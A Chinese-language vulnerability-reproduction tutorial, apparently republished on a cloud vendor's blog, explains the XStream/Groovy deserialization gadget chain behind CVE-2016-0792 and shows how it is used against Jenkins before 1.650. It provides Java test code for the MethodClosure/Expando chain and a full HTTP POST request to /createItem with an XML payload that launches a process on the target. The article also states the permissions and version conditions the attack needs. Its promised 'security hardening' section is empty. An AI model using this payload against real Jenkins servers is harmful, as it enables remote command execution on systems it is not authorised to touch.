如何进行XStream反序列化组件攻击CVE-2016-0792漏洞复现

发布时间:2021-12-28 17:03:09 作者:柒染
来源:亿速云 阅读:169

今天就跟大家聊聊有关如何进行XStream反序列化组件攻击CVE-2016-0792漏洞复现,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。

XStream组件功能

XStream可以轻易的将Java对象和xml文档相互转换,而且可以修改某个特定的属性和节点名称,而且也支持json的转换。

它具有以下特点:

值得注意的是:它转换对象时,不需要对象继承Serializable接口。 这极大的方便了反序列化攻击。

XStream简单序列化代码如下:

@Test
public void testWriter()
{
    Person person =newPerson();

    //Set the properties using the setter methods
    //Note: This can also be done with a constructor.
    //Since we want to show that XStream can serialize
    //even without a constructor, this approach is used.

    person.setName("Jack");
    person.setAge(18);
    person.setAddress("whu");

    //Serialize the object
    XStream xs =newXStream();

    //Write to a file in the file system

    try{
         String filename ="./person.txt";
         FileOutputStream fs =newFileOutputStream(filename);
         xs.toXML(person,fs);
    } catch (FileNotFoundException e1) {
         e1.printStackTrace();
    }
}

可以看到,XStream可以很方便地java对象转换为xml文件,生成文件如下:

<model.Person>
  <name>Tide</name>
  <age>18</age>
  <address>whu</address>
</model.Person>

也可方便的将xml文件反序列化为java对象:

@Test
public void testReader() 
{
    XStream xs = new XStream(new DomDriver());
    Person person = new Person();

    try {
        String filename = "./person.txt";
        File file = new File(filename);
        FileInputStream fis = new FileInputStream(filename);
        //System.out.println(filename);

        System.out.println(FileUtils.readFileToString(file));

        xs.fromXML(fis, person);

        //print the data from the object that has been read
        System.out.println(person.toString());

    } catch (FileNotFoundException ex) {
        ex.printStackTrace();
    } catch (IOException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    }
}

发现Sink

对于一个漏洞利用,必然有一个敏感的Sink。它可以类或者函数等,它的作用是执行命令或者读写文件等敏感操作。可以被攻击者所利用,去做一些事情。这个漏洞的Sink就是一个MethodClosure闭包类:

/**
 * Represents a method on an object using a closure which can be invoked
 * at any time
 * 
 */
public class MethodClosure extends Closure {

    private String method;

    public MethodClosure(Object owner, String method) {//构造函数,传入对象和方法名。
        super(owner);
        this.method = method;

        final Class clazz = owner.getClass()==Class.class?(Class) owner:owner.getClass();

        maximumNumberOfParameters = 0;
        parameterTypes = new Class [0];

        List<MetaMethod> methods = InvokerHelper.getMetaClass(clazz).respondsTo(owner, method);

        for(MetaMethod m : methods) {
            if (m.getParameterTypes().length > maximumNumberOfParameters) {
                Class[] pt = m.getNativeParameterTypes();
                maximumNumberOfParameters = pt.length;
                parameterTypes = pt;
            }
        }
    }

    public String getMethod() {
        return method;
    }

    protected Object doCall(Object arguments) {
        return InvokerHelper.invokeMethod(getOwner(), method, arguments);//调用任意对象(owner)的任意方法(method)。
    }

    public Object getProperty(String property) {
        if ("method".equals(property)) {
            return getMethod();
        } else  return super.getProperty(property);        
    }
}

根据类的描述可知道是可以使用其调用对象的方法,并且继承了Closure类。而其doCall方法,它直接使用反射机制调用了我们的任意对象方法。并且对象和方法名是可以通过构造函数传入的。继续看父类(Closure):

public V call() {
    final Object[] NOARGS = EMPTY_OBJECT_ARRAY;
    return call(NOARGS);
}

@SuppressWarnings("unchecked")
public V call(Object... args) {
    try {
        return (V) getMetaClass().invokeMethod(this,"doCall",args);
    } catch (InvokerInvocationException e) {
        ExceptionUtils.sneakyThrow(e.getCause());
        return null; // unreachable statement
    }  catch (Exception e) {
        return (V) throwRuntimeException(e);
    }
}

调用父类(Closure)的call方法即可自动调用子类的doCall方法。于是,如下代码即可执行弹出计算器:

MethodClosure methodClosure = new MethodClosure(new java.lang.ProcessBuilder("calc"), "start");
methodClosure.call();

说明:无法控制方法的参数(args),只能通过调用call(参数)来实现,因此利用的局限性比较大。只能找寻一个对象具有无参方法,来进行利用。

自动触发

在Expando类中,发现了Closure.call方法的调用。而且是在hashCode方法中:

/**
 * This allows hashCode to be overridden by a closure <i>field</i> method attached
 * to the expando object.
 *
 * @see java.lang.Object#hashCode()
 */
public int hashCode() {
    Object method = getProperties().get("hashCode");
    if (method != null && method instanceof Closure) {
        // invoke overridden hashCode closure method
        Closure closure = (Closure) method;
        closure.setDelegate(this);
        Integer ret = (Integer) closure.call();//调用危险方法
        return ret.intValue();
    } else {
        return super.hashCode();
    }
}

常用的HashMap类中,存在调用hashCode方法:

public V put(K key, V value) {
    if (key == null)
        return putForNullKey(value);
    int hash = hash(key.hashCode());  // 调用key的hashCode方法
    int i = indexFor(hash, table.length);
    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
            V oldValue = e.value;
            e.value = value;
            e.recordAccess(this);
            return oldValue;
        }
    }

    modCount++;
    addEntry(hash, key, value, i);
    return null;
}

以下为测试自动触发的payload:

@Test
public void testExploit()
{
    Map map = new HashMap<Expando, Integer>();
    Expando expando = new Expando();

    MethodClosure methodClosure = new MethodClosure(new java.lang.ProcessBuilder("calc"), "start");
    //methodClosure.call();

    expando.setProperty("hashCode", methodClosure);

    map.put(expando, 123);
}

CVE-2016-0792漏洞复现

使用了XStream库的应用有很多,Jenkins是其中一个。接下来以CVE-2016-0792为例进行漏洞复现。

首先需要安装jenkins,这里使用的是1.642.1版本,其他版本可以自行下载

(http://archives.jenkins-ci.org/war-stable/1.642.1/jenkins.war)

在命令行内安装下载好的war包。这里需要在本地配置java环境。

java -jar C:\Users\Administrator\Desktop\jenkins.war

如何进行XStream反序列化组件攻击CVE-2016-0792漏洞复现完成后访问http://ip:8080。可以打开即为安装成功。

如何进行XStream反序列化组件攻击CVE-2016-0792漏洞复现

点击“新建”,将Burp抓到的GET包转为POST包

如何进行XStream反序列化组件攻击CVE-2016-0792漏洞复现

在攻击机内使用burp构造以下数据包

POST /createItem?name=foo HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://192.168.92.150:8080/
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: 192.168.92.150:8080
Cookie: JSESSIONID.45f4c58a=15p7yy31dzajd1dtooqm83m4ow; screenResolution=1718x926
Connection: keep-alive
Content-Type: text/xml
Content-Length: 895
<map>
  <entry><groovy.util.Expando>  <expandoProperties><entry>  <string>hashCode</string>  <org.codehaus.groovy.runtime.MethodClosure><delegate class="java.lang.ProcessBuilder">  <command><string>calc</string>  </command>  <redirectErrorStream>false</redirectErrorStream></delegate><owner class="java.lang.ProcessBuilder" reference="../delegate"/><resolveStrategy>0</resolveStrategy><directive>0</directive><parameterTypes/><maximumNumberOfParameters>0</maximumNumberOfParameters><method>start</method>  </org.codehaus.groovy.runtime.MethodClosure></entry>  </expandoProperties></groovy.util.Expando><int>123</int>
  </entry>
</map>

如何进行XStream反序列化组件攻击CVE-2016-0792漏洞复现

可以看到靶机内弹出计算器程序

如何进行XStream反序列化组件攻击CVE-2016-0792漏洞复现

利用条件

1. 权限限制条件:

无论匿名用户,还是登陆用户,权限必须具有“Overall的read权限和Job的create权限”两个权限(当然具有其他权限越多越好,若拥有administrater权限,其他任何权限都不是必须条件了,因为administrater为最高权限,故这里不考虑administrater)。因为该个漏洞是利用的createitem创建job的功能去调用api,所以create是必须的,而Jenkins最基本的权限是overall的read权限,用户必须赋予阅读的权限,不然什么都看不到。

2. 版本限制条件:

jenkins版本小于 1.650 (1.650版本已修复该问题)

3. post数据内容类型:

构造一个恶意的 XML 文档发送至服务端接口时,内容类型需注意为xml。

安全加固

看完上述内容,你们对如何进行XStream反序列化组件攻击CVE-2016-0792漏洞复现有进一步的了解吗?如果还想了解更多知识或者相关内容,请关注亿速云行业资讯频道,感谢大家的支持。

推荐阅读:
  1. Nginx 解析漏洞复现
  2. 如何进行SaltStack命令注入漏洞复现

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

xstream

上一篇:mysql如何将数字转为字符串

下一篇:k8s如何部署java项目

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》